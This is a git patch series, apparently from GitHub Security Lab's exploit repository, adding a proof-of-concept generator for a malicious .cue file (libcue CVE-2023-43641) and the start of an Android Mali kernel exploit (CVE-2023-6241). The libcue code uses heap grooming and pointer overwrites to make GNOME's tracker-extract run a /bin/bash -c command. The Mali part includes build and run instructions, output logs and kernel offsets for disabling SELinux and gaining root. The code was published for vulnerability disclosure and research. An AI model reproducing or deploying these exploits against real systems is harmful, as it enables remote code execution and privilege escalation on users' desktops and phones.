write_ghsecuritylab_track(WriteBuf &buf, size_t &tracknum, + Target target) { + Track track = { + "Copyright (c) 2023 GitHub, Inc.", + "[GitHub Security Lab](https://securitylab.github.com/)", + 0, + "[Kevin Backhouse](https://github.com/kevinbackhouse) " + "\n ", + " " + "\n ", + "[The Malloc " + "Maleficarum](https://seclists.org/bugtraq/2005/Oct/118).\nSee also: " + "[how2heap](https://github.com/shellphish/how2heap).\n " + " ", + "Proof-of-concept exploit for libcue CVE-2023-43641 (GHSL-2023-197): out " + "of bounds\narray access in track_set_index. The vulnerability is used " + "to get code execution in GNOME's\ntracker-extract. Download this file " + "to pop a calc.", + }; + + char arranger[80]; + const char *targetnames[NumTargets] = {"Ubuntu 23.04 (Lunar Lobster)", + "Fedora 38"}; + snprintf(arranger, sizeof(arranger), + "\nThis version of the poc is tuned for %s " + " ", + targetnames[target]); + arranger[71] = '\n'; + arranger[72] = '\0'; + + track.arranger_ = arranger; + write_complete_track(buf, tracknum, track); +} + +Target select_target(const char *target) { + if (strcmp(target, "Ubuntu23_04") == 0) { + return Ubuntu23_04; + } + if (strcmp(target, "Fedora38") == 0) { + return Fedora38; + } + fprintf(stderr, "Target not recognized: %s\n", target); + exit(EXIT_FAILURE); +} + +int main(int argc, char *argv[]) { + const uint16_t chunksize_track = 0x3b5; + const size_t rawbuf_len = 0x10000 - 0x20; + uint8_t *rawbuf = (uint8_t *)malloc(rawbuf_len); + size_t tracknum = 0; + size_t track_offset = 0; + + if (argc != 2) { + fprintf(stderr, "usage: \nmkcue Ubuntu23_04\nmkcue Fedora38\n"); + return EXIT_FAILURE; + } + + const Target target = select_target(argv[1]); + + const size_t cd_ntracks_offsets[NumTargets] = {0x12608, 0x12868}; + const size_t cd_ntrack_offset = cd_ntracks_offsets[target]; + + WriteBuf buf(rawbuf, rawbuf_len); + + buf.write_string("PERFORMER Kev\n"); + write_cdtext(buf, 0, "TITLE", "Kev'z Warez"); + buf.write_string("FILE pwned.mp3 MP3\n"); + + buf.write_string("\n"); + new_track(buf, tracknum); + write_cdtext(buf, 15, "MESSAGE", + "First some [heap feng " + "shui](https://en.wikipedia.org/wiki/Heap_feng_shui):\nallocate " + "memory so that all subsequent allocations come from a " + "continguous block of\nmemory. For example, this string is 251 " + "characters long to use a chunk from tcache\nindex 15."); + + // Use more memory. + new_track(buf, tracknum); + write_cdtext(buf, 5, "TITLE", + "A Track is 0x3a8 bytes, so creating many new tracks is a quick " + "way to use lots of memory."); + + for (size_t i = 0; i < 31; i++) { + new_track(buf, tracknum); + write_cdtext(buf, 5, "TITLE", + "Again " + " "); + } + + buf.write_string("\n"); + write_complete_track(buf, tracknum, track_fengshui1); + buf.write_string("\n"); + write_ghsecuritylab_track(buf, tracknum, target); + buf.write_string("\n"); + write_complete_track(buf, tracknum, track_rickroll); + for (size_t i = 0; i < 11; i++) { + write_complete_track(buf, tracknum, track_fengshui2); + } + + new_track(buf, tracknum); + const size_t offsets1[NumTargets] = {0x17f00, 0x18200}; + track_offset = offsets1[target]; + write_cdtext(buf, 1, "TITLE", "for freeing to tcache index 1"); + write_cdtext(buf, 0, "TITLE", "free previous title"); + + // Overwrite cd->ntrack so that the next track pointer will be + // written to offset 0xd50. + set_cd_ntrack(buf, cd_ntrack_offset, track_offset, 0xd50); + + new_track(buf, tracknum); + const size_t offsets2[NumTargets] = {0x184b0, 0x187b0}; + track_offset = offsets2[target]; + write_cdtext(buf, 1, "TITLE", "Allocate previously freed string"); + set_index(buf, -0x1c, 0x95); // overwrite size of string chunk + + // This overwrites cd->ntrack. Every time a new track is allocated, + // its address is written to cd->track[cd->ntrack - 1]. The value + // of cd->ntrack is also incremented each time. I want to use this + // on the 5th new_track after this point, to overwrite offset + // 0xdd0 because that's going to be the location of my g_class struct + // and I need to set its g_type field. + set_cd_ntrack(buf, cd_ntrack_offset, track_offset, 0xdb0); + + // Use a fake chunk to overwrite the low bytes of info->file + // so that it points to offset 0xd50, which is where I'll create + // the fake file struct. + create_fake_chunk(buf, track_offset, 0xcf0, 0x45); + write_cdtext(buf, 2, "GENRE", + "set low bytes of info->file \x50\x0d"); + + // Use a fake chunk to overwrite the low bytes of info->file->g_class + // so that it points to offset 0xdd0, which is where I'll create + // the fake g_class + create_fake_chunk(buf, track_offset, 0xd30, 0x35); + write_cdtext(buf, 1, "PERFORMER", "set low bytes of file->g_class \xd0\x0d"); + + set_index(buf, -(track_offset + 0x88 - 0xd10) / 8, 0); // info->resource = 0 + + // Fake chunk for overwriting the lower bytes of info->file->g_class (later). + create_fake_chunk(buf, track_offset, 0xf10, 0x55); + + // Fake chunk for overwriting the tcache (immediately below). + create_fake_chunk(buf, track_offset, 0x9b0, 0x45); + + // Create a fake chunk at offset 0xe20, then overwrite its lower bytes in + // the tcache to change it to 0xe60. The chunk size (0x115) is chosen so + // it is stored in tcache->entries[15] (offset 0x9d8), which means that I + // can overwrite its lower bytes by writing a string to the fake chunk at + // offset 0x9b0. + const uint16_t chunksize_e60 = 0x115; + create_fake_chunk(buf, track_offset, 0xe20, chunksize_e60); + + write_cdtext(buf, 2, "MESSAGE", + "set low bytes of tcache->entries[15] \x60\x0e"); + write_cdtext(buf, 0, "MESSAGE", "kevwozere"); + + // Create a fake chunk at offset 0xdd0. + create_fake_chunk(buf, track_offset, 0xdd0, 0x55); + + // track->file.start is at offset 0x30 in track + // track->file.length is at offset 0x38 in track + // track->index[0] is at offset 0x88 in track + // track->zero_pre.length is at offset 0x18 in track + // + // Series of calculations: + // + // prev_track->file.length = X - prev_track->file.start + // track->zero_pre.length = Y - track->index[0] + // + // So I want to prev_track->file.length and track->index[0] to be + // at the same address. Which means: + // + // prev_track + 0x38 == track + 0x88 + // + // In other words: track == prev_track - 0x50 + + // Create a fake track-sized chunk at offset 0xde0. + create_fake_chunk(buf, track_offset, 0xde0, chunksize_track); + + // Create a fake track-sized chunk at offset 0xe30. + create_fake_chunk(buf, track_offset, 0xe30, chunksize_track); + + write_cdtext(buf, 15, "TITLE", + "long title to allocate 0x110-sized chunk. " + " " + " " + " "); + new_track(buf, tracknum); // Allocate a track at offset 0xe30 + set_index(buf, -0x35, 0); // info->resource = 0 + set_index(buf, -0x31, 1); // info->ref_count = 1 + set_index(buf, -0x2a, 0); // self->launcher = 0 + set_index(buf, -0x29, 0); // self->flags = 0 + + new_track(buf, tracknum); // Allocate a track at offset 0xde0 + track_offset = 0xde0; + + write_cdtext( + buf, 3, "TITLE", + "Overwrite low bytes of track->file.name \x60\x0e"); + set_index(buf, -2, chunksize_e60); + buf.write_string("FILE \"wen poc?\" MP3\n"); + + // Create a fake track-sized chunk at offset 0xee0 + write_cdtext( + buf, 3, "TITLE", + "Overwrite low bytes of track->file.name \xe0\x0e"); + set_index(buf, 0xe, chunksize_track); + buf.write_string("FILE pwned.mp3 MP3\n"); + + // Create a fake track-sized chunk at offset 0xf30 + write_cdtext( + buf, 3, "TITLE", + "Overwrite low bytes of track->file.name \x30\x0f"); + set_index(buf, 0x18, chunksize_track); + buf.write_string("FILE pwned.mp3 MP3\n"); + + // Create a fake 0x30-sized chunk at offset 0xdb0. It will be used later to + // overwrite the pointer to the g_type stored at offset 0xdd0 (element 0 of + // the g_class). + write_cdtext( + buf, 3, "TITLE", + "Overwrite low bytes of track->file.name \xb0\x0d"); + set_index(buf, -0x18, 0x35); + buf.write_string("FILE pwned.mp3 MP3\n"); + + // Use the two overlapping tracks to apply arithmetic + set_index(buf, 0, -1); // reset prev_track->file.length + set_index(buf, 1, 0); + const size_t codeoffsets1[NumTargets] = {0x1cdff0, 0x1cae20}; + set_index(buf, 1, codeoffsets1[target]); // Offset from + // g_file_input_stream_real_query_info_finish + // to g_option_context_parse + + set_index(buf, 0xe, 0); // Zero a field that causes a crash in gatomicarray.c + + new_track(buf, tracknum); // Allocate a track at offset 0xf30 + buf.write_string("FLAGS\n"); // The grammar requires at least one track + // statement between tracks + new_track(buf, tracknum); // Allocate a track at offset 0xee0 + track_offset = 0xee0; + + buf.write_string( + "ISRC " + "looooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo" + "oooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo" + "oooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooog-" + "string-to-allocate-0x110-sized-chunk\n"); + // Allocate 0x50-sized chunk at offset 0xf10. + write_cdtext(buf, 3, "TITLE", + "long title to overwrite low bytes of track->isrc " + " \x60\x0f"); + set_index(buf, -2, 0x115); + buf.write_string("ISRC short-string\n"); + + set_index(buf, 0, -1); // reset prev_track->file.length + set_index(buf, 1, 0); + const size_t codeoffsets2[NumTargets] = {0x3b290, 0x3d290}; + set_index(buf, 1, codeoffsets2[target]); // Offset from + // g_file_input_stream_real_query_info_finish + // to initable_init + + // Zero the tcache + set_index(buf, -0xd0, 0); + set_index(buf, -0xce, 0); + + set_index(buf, -0x19, 100); // info->file->g_class->g_type->ref_count = 100 + set_index(buf, -0x17, 0); // info->file->g_class->g_type->nsupers = 0 + set_index(buf, -0x10, 0x50); // info->file->g_class->g_type->supers[0] = 0x50 + + new_track(buf, tracknum); // write a pointer to 0xdd0 + const size_t offsets3[NumTargets] = {0x19290, 0x19590}; + track_offset = offsets3[target]; + + // Overwrite cd->ntrack so that the next track pointer will get written + // to offset 0xeb8 (the location of cancellable->priv) + set_cd_ntrack(buf, cd_ntrack_offset, track_offset, 0xeb8); + new_track(buf, tracknum); // This track is cancellable->priv. + const size_t offsets4[NumTargets] = {0x197f0, 0x19af0}; + track_offset = offsets4[target]; + set_index(buf, -0x11, 0); // cancellable->priv->cancelled = 0 + + // Overwrite cd->ntrack so that the next track pointer will get written + // to offset 0xd78 (the location of self->argv) + set_cd_ntrack(buf, cd_ntrack_offset, track_offset, 0xd78); + new_track(buf, tracknum); // This track is the argv array. (offset 0x19d50) + const size_t offsets5[NumTargets] = {0x19d50, 0x1a050}; + track_offset = offsets5[target]; + const size_t argv_offset = track_offset; + set_index(buf, -0xe, 0); // argv[3] = 0 + + // Overwrite cd->ntrack so that the next track pointer will get written + // to offset 0x19d50 (the location of self->argv[0]) + set_cd_ntrack(buf, cd_ntrack_offset, argv_offset, argv_offset); + write_cdtext(buf, 6, "TITLE", + "Temporary long title for tcache index 6 " + " "); + write_cdtext(buf, 0, "TITLE", "short title"); + new_track(buf, tracknum); // this will be argv[0] (offset 0x1a350) + const size_t offsets6[NumTargets] = {0x1a350, 0x1a650}; + track_offset = offsets6[target]; + write_cdtext(buf, 6, "TITLE", + "Use long title from tcache index 6 " + " "); + set_index(buf, -0x26, 0xc5); // overwrite size of string chunk + write_cdtext(buf, 10, "TITLE", + " " + " " + " /bin/bash"); + + // Overwrite cd->ntrack so that the next track pointer will get written + // to offset 0x19d58 (the location of self->argv[1]) + set_cd_ntrack(buf, cd_ntrack_offset, track_offset, argv_offset + 0x8); + + new_track(buf, tracknum); // This track is argv[1]. (offset 0x1a8b0) + const size_t offsets7[NumTargets] = {0x1a8b0, 0x1abb0}; + track_offset = offsets7[target]; + uint32_t x = 0; + strcpy((char *)&x, "-c"); + set_index(buf, -0x11, x); + + // Overwrite cd->ntrack so that the next track pointer will get written + // to offset 0x19d60 (the location of self->argv[2]). + set_cd_ntrack(buf, cd_ntrack_offset, track_offset, argv_offset + 0x10); + + write_cdtext(buf, 6, "TITLE", + "Temporary long title for tcache index 6 " + " "); + write_cdtext(buf, 0, "TITLE", "eta son"); + new_track(buf, tracknum); // this will be argv[2] + write_cdtext(buf, 6, "TITLE", + "Use long title from tcache index 6 " + " "); + set_index(buf, -0x26, 0x165); // overwrite size of string chunk + write_cdtext( + buf, 20, "TITLE", + "This command is going to get called repeatedly in an infinite loop, so " + "send SIGSTOP to avoid a fork-bomb and use flock so only one calculator " + "starts. killall -SIGSTOP tracker-extract-3; flock -w 3 " + "~/Downloads/pwned.lock -c 'gnome-calculator -e 1337' && (sleep 10; rm " + "~/Downloads/pwned.lock; killall -SIGKILL tracker-extract-3)"); + + // To stop tracker-extract from crashing in g_option_context_parse + // immediately after it is has called initable_init, overwrite the + // next pointer of context->groups to add another link to the linked + // list, and point the next pointer back to offset 0xdd0 to create + // an infinite list. The loop will keep spinning until we have + // a chance to kill tracker-extract cleanly. + const size_t offsets8[NumTargets] = {0x1aeb0, 0x1b1b0}; + track_offset = offsets8[target]; + + // Overwrite cd->ntrack so that the next track pointer will be + // written to offset 0xdd8. + set_cd_ntrack(buf, cd_ntrack_offset, track_offset, 0xdd8); + + write_cdtext(buf, 6, "PERFORMER", + "Temporary long name for tcache index 6 " + " "); + write_cdtext(buf, 0, "PERFORMER", "short name"); + + new_track(buf, tracknum); // This will be another link in context->groups + const size_t offsets9[NumTargets] = {0x1b4b0, 0x1b7b0}; + track_offset = offsets9[target]; + const size_t link_offset = track_offset; + + // Overwrite cd->ntrack so that the next track pointer will be + // written to offset 0x8 within the current track. + set_cd_ntrack(buf, cd_ntrack_offset, track_offset, link_offset + 8); + + write_cdtext(buf, 6, "TITLE", + "Use chunk from tcache index 6 " + " "); + set_index(buf, -0x26, 0xc5); // overwrite size of string chunk + write_cdtext(buf, 0, "TITLE", "short title"); + + // The only purpose of this track is to write a pointer at offset 0x8 in + // the previous track. I'll overwrite the bottom bytes of that pointer so + // that it points to offset 0xdd0. + new_track(buf, tracknum); + const size_t offsets10[NumTargets] = {0x1ba30, 0x1bd30}; + track_offset = offsets10[target]; + + // Overwrite cd->ntrack so that the next track pointer will be + // written to offset 0x0 within the previous track. + set_cd_ntrack(buf, cd_ntrack_offset, track_offset, link_offset); + write_cdtext(buf, 10, "TITLE", + " " + " " + " \xd0\x0d"); + + tracknum = 1337; + new_track(buf, tracknum); // fake GOptionGroup + set_index(buf, -0x6, 0); // zero the pre_parse_func field + + write_cdtext(buf, 2, "TITLE", + "Use the chunk that is still in tcache index 2"); + write_cdtext(buf, 1, "MESSAGE", "pop that calc \xa0\x0e"); + buf.write_string("REM DATE \"1992 AD\"\n"); + + // Pad the file with newline characters. + buf.write_many('\n', rawbuf_len - buf.offset()); + + buf.write_to_fd(STDOUT_FILENO); + free(rawbuf); + + return 0; +} diff --git a/SecurityExploits/libcue/track_set_index_CVE-2023-43641/utils.cpp b/SecurityExploits/libcue/track_set_index_CVE-2023-43641/utils.cpp new file mode 100644 index 0000000..a300524 --- /dev/null +++ b/SecurityExploits/libcue/track_set_index_CVE-2023-43641/utils.cpp @@ -0,0 +1,97 @@ +#include "utils.h" +#include +#include +#include + +// Write a uint8_t to starting address &buf[pos]. +size_t WriteBuf::write_uint8_at(size_t pos, uint8_t x) { + assert(bufsize_ >= pos); + assert(bufsize_ - pos >= sizeof(uint8_t)); + buf_[pos++] = x; + return pos; +} + +// Write a uint16_t to starting address &buf_[pos] (in big endian +// order). +size_t WriteBuf::write_uint16_at(size_t pos, uint16_t x) { + assert(bufsize_ >= pos); + assert(bufsize_ - pos >= sizeof(uint16_t)); + buf_[pos++] = (x >> 8) & 0xFF; + buf_[pos++] = x & 0xFF; + return pos; +} + +// Write a uint32_t to starting address &buf_[pos] (in big endian +// order). +size_t WriteBuf::write_uint32_at(size_t pos, uint32_t x) { + assert(bufsize_ >= pos); + assert(bufsize_ - pos >= sizeof(uint32_t)); + buf_[pos++] = (x >> 24) & 0xFF; + buf_[pos++] = (x >> 16) & 0xFF; + buf_[pos++] = (x >> 8) & 0xFF; + buf_[pos++] = x & 0xFF; + return pos; +} + +// Write a block of bytes to starting address &buf_[pos]. +size_t WriteBuf::write_many_at(size_t pos, uint8_t x, size_t n) { + assert(bufsize_ >= pos); + assert(bufsize_ - pos >= n); + memset(&buf_[pos], x, n); + pos += n; + return pos; +} + +// Write a string to starting address &buf_[pos]. +size_t WriteBuf::write_bytes_at(size_t pos, const uint8_t *bytes, size_t n) { + assert(bufsize_ >= pos); + assert(bufsize_ - pos >= n); + memcpy(&buf_[pos], bytes, n); + pos += n; + return pos; +} + +// Write a uint8_t to starting address &buf[offset_]. +void WriteBuf::write_uint8(uint8_t x) { offset_ = write_uint8_at(offset_, x); } + +// Write a uint16_t to starting address &buf_[offset_] (in big endian +// order). +void WriteBuf::write_uint16(uint16_t x) { + offset_ = write_uint16_at(offset_, x); +} + +// Write a uint32_t to starting address &buf_[offset_] (in big endian +// order). +void WriteBuf::write_uint32(uint32_t x) { + offset_ = write_uint32_at(offset_, x); +} + +// Write a block of bytes to starting address &buf_[offset_]. +void WriteBuf::write_many(uint8_t x, size_t n) { + offset_ = write_many_at(offset_, x, n); +} + +// Write n bytes to starting address &buf_[offset_]. +void WriteBuf::write_bytes(const uint8_t *bytes, size_t n) { + offset_ = write_bytes_at(offset_, bytes, n); +} + +// Write a string to starting address &buf_[offset_]. +void WriteBuf::write_string(const char *str) { + write_bytes(reinterpret_cast(str), strlen(str)); +} + +size_t WriteBuf::offset() const { return offset_; } + +// Inserts an n-byte gap, so that the bytes can be written later. This is +// usually used for size or offset fields that need to be calculated +// later. +size_t WriteBuf::insert_gap(size_t n) { + const size_t pos = offset_; + assert(bufsize_ >= pos); + assert(bufsize_ - pos >= n); + offset_ = pos + n; + return pos; +} + +void WriteBuf::write_to_fd(int fd) { write(fd, buf_, offset_); } diff --git a/SecurityExploits/libcue/track_set_index_CVE-2023-43641/utils.h b/SecurityExploits/libcue/track_set_index_CVE-2023-43641/utils.h new file mode 100644 index 0000000..ce595d7 --- /dev/null +++ b/SecurityExploits/libcue/track_set_index_CVE-2023-43641/utils.h @@ -0,0 +1,57 @@ +#include +#include + +class WriteBuf { + uint8_t* buf_; + const size_t bufsize_; + size_t offset_ = 0; + +public: + WriteBuf(uint8_t* buf, size_t bufsize) : buf_(buf), bufsize_(bufsize) {} + + // Write a uint8_t to starting address &buf[pos]. + size_t write_uint8_at(size_t pos, uint8_t x); + + // Write a uint16_t to starting address &buf_[pos] (in big endian + // order). + size_t write_uint16_at(size_t pos, uint16_t x); + + // Write a uint32_t to starting address &buf_[pos] (in big endian + // order). + size_t write_uint32_at(size_t pos, uint32_t x); + + // Write a block of bytes to starting address &buf_[pos]. + size_t write_many_at(size_t pos, uint8_t x, size_t n); + + // Write a string to starting address &buf_[pos]. + size_t write_bytes_at(size_t pos, const uint8_t* bytes, size_t n); + + // Write a uint8_t to starting address &buf[offset_]. + void write_uint8(uint8_t x); + + // Write a uint16_t to starting address &buf_[offset_] (in big endian + // order). + void write_uint16(uint16_t x); + + // Write a uint32_t to starting address &buf_[offset_] (in big endian + // order). + void write_uint32(uint32_t x); + + // Write a block of bytes to starting address &buf_[offset_]. + void write_many(uint8_t x, size_t n); + + // Write n bytes to starting address &buf_[offset_]. + void write_bytes(const uint8_t* bytes, size_t n); + + // Write a string to starting address &buf_[offset_]. + void write_string(const char* str); + + size_t offset() const; + + // Inserts an n-byte gap, so that the bytes can be written later. This is + // usually used for size or offset fields that need to be calculated + // later. + size_t insert_gap(size_t n); + + void write_to_fd(int fd); +}; From 279cfd10c5c1f9067d52d1c9271d72e690882c97 Mon Sep 17 00:00:00 2001 From: Man Yue Mo Date: Thu, 14 Mar 2024 09:32:11 +0000 Subject: [PATCH 108/140] Initial commit --- .../Android/Mali/CVE_2023_6241/README.md | 40 + .../Mali/CVE_2023_6241/firmware_offsets.h | 16 + .../Android/Mali/CVE_2023_6241/log_utils.h | 11 + .../CVE_2023_6241/mali_base_common_kernel.h | 228 +++++ .../Mali/CVE_2023_6241/mali_base_csf_kernel.h | 608 ++++++++++++ .../Mali/CVE_2023_6241/mali_base_kernel.h | 287 ++++++ .../Android/Mali/CVE_2023_6241/mali_jit_csf.c | 435 +++++++++ .../Mali/CVE_2023_6241/mali_kbase_csf_ioctl.h | 556 +++++++++++ .../Mali/CVE_2023_6241/mali_kbase_ioctl.h | 894 ++++++++++++++++++ .../Mali/CVE_2023_6241/mem_read_write.c | 265 ++++++ .../Mali/CVE_2023_6241/mem_read_write.h | 41 + .../Mali/CVE_2023_6241/mempool_utils.c | 60 ++ .../Mali/CVE_2023_6241/mempool_utils.h | 20 + 13 files changed, 3461 insertions(+) create mode 100644 SecurityExploits/Android/Mali/CVE_2023_6241/README.md create mode 100644 SecurityExploits/Android/Mali/CVE_2023_6241/firmware_offsets.h create mode 100644 SecurityExploits/Android/Mali/CVE_2023_6241/log_utils.h create mode 100644 SecurityExploits/Android/Mali/CVE_2023_6241/mali_base_common_kernel.h create mode 100644 SecurityExploits/Android/Mali/CVE_2023_6241/mali_base_csf_kernel.h create mode 100644 SecurityExploits/Android/Mali/CVE_2023_6241/mali_base_kernel.h create mode 100644 SecurityExploits/Android/Mali/CVE_2023_6241/mali_jit_csf.c create mode 100644 SecurityExploits/Android/Mali/CVE_2023_6241/mali_kbase_csf_ioctl.h create mode 100644 SecurityExploits/Android/Mali/CVE_2023_6241/mali_kbase_ioctl.h create mode 100644 SecurityExploits/Android/Mali/CVE_2023_6241/mem_read_write.c create mode 100644 SecurityExploits/Android/Mali/CVE_2023_6241/mem_read_write.h create mode 100644 SecurityExploits/Android/Mali/CVE_2023_6241/mempool_utils.c create mode 100644 SecurityExploits/Android/Mali/CVE_2023_6241/mempool_utils.h diff --git a/SecurityExploits/Android/Mali/CVE_2023_6241/README.md b/SecurityExploits/Android/Mali/CVE_2023_6241/README.md new file mode 100644 index 0000000..0e37f5f --- /dev/null +++ b/SecurityExploits/Android/Mali/CVE_2023_6241/README.md @@ -0,0 +1,40 @@ +## Exploit for CVE-2023-6241 + +The write up can be found [here](). This is a bug in the Arm Mali kernel driver that I reported in November 2023. The bug can be used to gain arbitrary kernel code execution from the untrusted app domain, which is then used to disable SELinux and gain root. + +The exploit is tested on the Google Pixel 8 with the Novmember 2023 patch (`UD1A.231105.004`). It needs to be compiled with OpenCL and link with the OpenCL library `libGLES_mali.so`. The library can be found in a Pixel 8 device in `vendor/lib64/egl/libGLES_mali.so` and the OpenCL header files can be found in the KhronosGroup's [OpenCL-headers repository](https://github.com/KhronosGroup/OpenCL-Headers). The specific header that I used was the [v2023.04.17](https://github.com/KhronosGroup/OpenCL-Headers/releases/tag/v2023.04.17) version, although other versions should also work. For reference, I used the following command to compile with clang in ndk-26: + +``` +android-ndk-r26b/toolchains/llvm/prebuilt/linux-x86_64/bin/aarch64-linux-android34-clang -DSHELL -DCL_TARGET_OPENCL_VERSION=300 -I. -L. mali_jit_csf.c mem_read_write.c mempool_utils.c -lGLES_mali -o mali_jit_csf +``` + +The exploit needs to be linked to `libGLES_mali.so`. This can be done by setting the `LD_LIBRARY_PATH` to `/vendor/lib64/egl`. The exploit rarely fails and even if it does, it does not normally corrupt or crash the system. So in case it failed, it can be rerun. If successful, it should disable SELinux and gain root. + +``` +shiba:/data/local/tmp $ LD_LIBRARY_PATH=/vendor/lib64/egl ./mali_jit_csf +mali_fd 3 +corrupted_jit_addr 6000001000 +kernel success +kernel success +queue kernel +jit_grow addr 6000001000 +Size after grow: 22f6 +Final grow size: 23c7 +keep alive jit_addr 60023d1000 +Size after free: 21fd, trim_level 6 +writing to gpu_va 6002301000 +found reused page 5fffef6000, 0 +pgd entry found at index 0 40000899bbc443 +overwrite addr : 5ffff00b50 b50 +overwrite addr : 5fffb00b50 b50 +overwrite addr : 5fff900b50 b50 +overwrite addr : 5ffff00714 714 +overwrite addr : 5fffb00714 714 +overwrite addr : 5fff900714 714 +result 50 +clean up +``` + +When running the first time, the exploit sometimes stalled after printing the last `overwrite addr` message. If that happens (stalled for more than 10 seconds, though pausing for a few seconds is normal), then simply kill the exploit and rerun it. It should not stall the second time. + +To test it with MTE enabled, follow [these instructions](https://outflux.net/blog/archives/2023/10/26/enable-mte-on-pixel-8/) to enable kernel MTE. diff --git a/SecurityExploits/Android/Mali/CVE_2023_6241/firmware_offsets.h b/SecurityExploits/Android/Mali/CVE_2023_6241/firmware_offsets.h new file mode 100644 index 0000000..30f6699 --- /dev/null +++ b/SecurityExploits/Android/Mali/CVE_2023_6241/firmware_offsets.h @@ -0,0 +1,16 @@ +#ifndef FIRMWARE_OFFSETS_H +#define FIRMWARE_OFFSETS_H + +#define AVC_DENY_2311 0x806b50 + +#define SEL_READ_ENFORCE_2311 0x818714 + +#define INIT_CRED_2311 0x271bfa8 + +#define COMMIT_CREDS_2311 0x167b40 + +#define ADD_COMMIT_2311 0x912d0108 //add x8, x8, #0xb40 + +#define ADD_INIT_2311 0x913ea000 //add x0, x0, #0xfa8 + +#endif diff --git a/SecurityExploits/Android/Mali/CVE_2023_6241/log_utils.h b/SecurityExploits/Android/Mali/CVE_2023_6241/log_utils.h new file mode 100644 index 0000000..0a4172c --- /dev/null +++ b/SecurityExploits/Android/Mali/CVE_2023_6241/log_utils.h @@ -0,0 +1,11 @@ +#ifndef LOG_UTILS_H +#define LOG_UTILS_H + +#ifdef SHELL +#define LOG(fmt, ...) printf(fmt, ##__VA_ARGS__) +#else +#include +#define LOG(fmt, ...) __android_log_print(ANDROID_LOG_ERROR, "exploit", fmt, ##__VA_ARGS__) +#endif + +#endif diff --git a/SecurityExploits/Android/Mali/CVE_2023_6241/mali_base_common_kernel.h b/SecurityExploits/Android/Mali/CVE_2023_6241/mali_base_common_kernel.h new file mode 100644 index 0000000..23bed51 --- /dev/null +++ b/SecurityExploits/Android/Mali/CVE_2023_6241/mali_base_common_kernel.h @@ -0,0 +1,228 @@ +/* SPDX-License-Identifier: GPL-2.0 WITH Linux-syscall-note */ +/* + * + * (C) COPYRIGHT 2022 ARM Limited. All rights reserved. + * + * This program is free software and is provided to you under the terms of the + * GNU General Public License version 2 as published by the Free Software + * Foundation, and any use by you of this program is subject to the terms + * of such GNU license. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, you can access it online at + * http://www.gnu.org/licenses/gpl-2.0.html. + * + */ + +#ifndef _UAPI_BASE_COMMON_KERNEL_H_ +#define _UAPI_BASE_COMMON_KERNEL_H_ + +#include +#include "mali_base_kernel.h" + +#define LOCAL_PAGE_SHIFT 12 + +#define BASE_GPU_NUM_TEXTURE_FEATURES_REGISTERS 4 + +/* Memory allocation, access/hint flags & mask. + * + * See base_mem_alloc_flags. + */ + +/* IN */ +/* Read access CPU side + */ +#define BASE_MEM_PROT_CPU_RD ((base_mem_alloc_flags)1 << 0) + +/* Write access CPU side + */ +#define BASE_MEM_PROT_CPU_WR ((base_mem_alloc_flags)1 << 1) + +/* Read access GPU side + */ +#define BASE_MEM_PROT_GPU_RD ((base_mem_alloc_flags)1 << 2) + +/* Write access GPU side + */ +#define BASE_MEM_PROT_GPU_WR ((base_mem_alloc_flags)1 << 3) + +/* Execute allowed on the GPU side + */ +#define BASE_MEM_PROT_GPU_EX ((base_mem_alloc_flags)1 << 4) + +/* Will be permanently mapped in kernel space. + * Flag is only allowed on allocations originating from kbase. + */ +#define BASEP_MEM_PERMANENT_KERNEL_MAPPING ((base_mem_alloc_flags)1 << 5) + +/* The allocation will completely reside within the same 4GB chunk in the GPU + * virtual space. + * Since this flag is primarily required only for the TLS memory which will + * not be used to contain executable code and also not used for Tiler heap, + * it can't be used along with BASE_MEM_PROT_GPU_EX and TILER_ALIGN_TOP flags. + */ +#define BASE_MEM_GPU_VA_SAME_4GB_PAGE ((base_mem_alloc_flags)1 << 6) + +/* Userspace is not allowed to free this memory. + * Flag is only allowed on allocations originating from kbase. + */ +#define BASEP_MEM_NO_USER_FREE ((base_mem_alloc_flags)1 << 7) + +/* Grow backing store on GPU Page Fault + */ +#define BASE_MEM_GROW_ON_GPF ((base_mem_alloc_flags)1 << 9) + +/* Page coherence Outer shareable, if available + */ +#define BASE_MEM_COHERENT_SYSTEM ((base_mem_alloc_flags)1 << 10) + +/* Page coherence Inner shareable + */ +#define BASE_MEM_COHERENT_LOCAL ((base_mem_alloc_flags)1 << 11) + +/* IN/OUT */ +/* Should be cached on the CPU, returned if actually cached + */ +#define BASE_MEM_CACHED_CPU ((base_mem_alloc_flags)1 << 12) + +/* IN/OUT */ +/* Must have same VA on both the GPU and the CPU + */ +#define BASE_MEM_SAME_VA ((base_mem_alloc_flags)1 << 13) + +/* OUT */ +/* Must call mmap to acquire a GPU address for the allocation + */ +#define BASE_MEM_NEED_MMAP ((base_mem_alloc_flags)1 << 14) + +/* IN */ +/* Page coherence Outer shareable, required. + */ +#define BASE_MEM_COHERENT_SYSTEM_REQUIRED ((base_mem_alloc_flags)1 << 15) + +/* Protected memory + */ +#define BASE_MEM_PROTECTED ((base_mem_alloc_flags)1 << 16) + +/* Not needed physical memory + */ +#define BASE_MEM_DONT_NEED ((base_mem_alloc_flags)1 << 17) + +/* Must use shared CPU/GPU zone (SAME_VA zone) but doesn't require the + * addresses to be the same + */ +#define BASE_MEM_IMPORT_SHARED ((base_mem_alloc_flags)1 << 18) + +/* Should be uncached on the GPU, will work only for GPUs using AARCH64 mmu + * mode. Some components within the GPU might only be able to access memory + * that is GPU cacheable. Refer to the specific GPU implementation for more + * details. The 3 shareability flags will be ignored for GPU uncached memory. + * If used while importing USER_BUFFER type memory, then the import will fail + * if the memory is not aligned to GPU and CPU cache line width. + */ +#define BASE_MEM_UNCACHED_GPU ((base_mem_alloc_flags)1 << 21) + +/* + * Bits [22:25] for group_id (0~15). + * + * base_mem_group_id_set() should be used to pack a memory group ID into a + * base_mem_alloc_flags value instead of accessing the bits directly. + * base_mem_group_id_get() should be used to extract the memory group ID from + * a base_mem_alloc_flags value. + */ +#define BASEP_MEM_GROUP_ID_SHIFT 22 +#define BASE_MEM_GROUP_ID_MASK ((base_mem_alloc_flags)0xF << BASEP_MEM_GROUP_ID_SHIFT) + +/* Must do CPU cache maintenance when imported memory is mapped/unmapped + * on GPU. 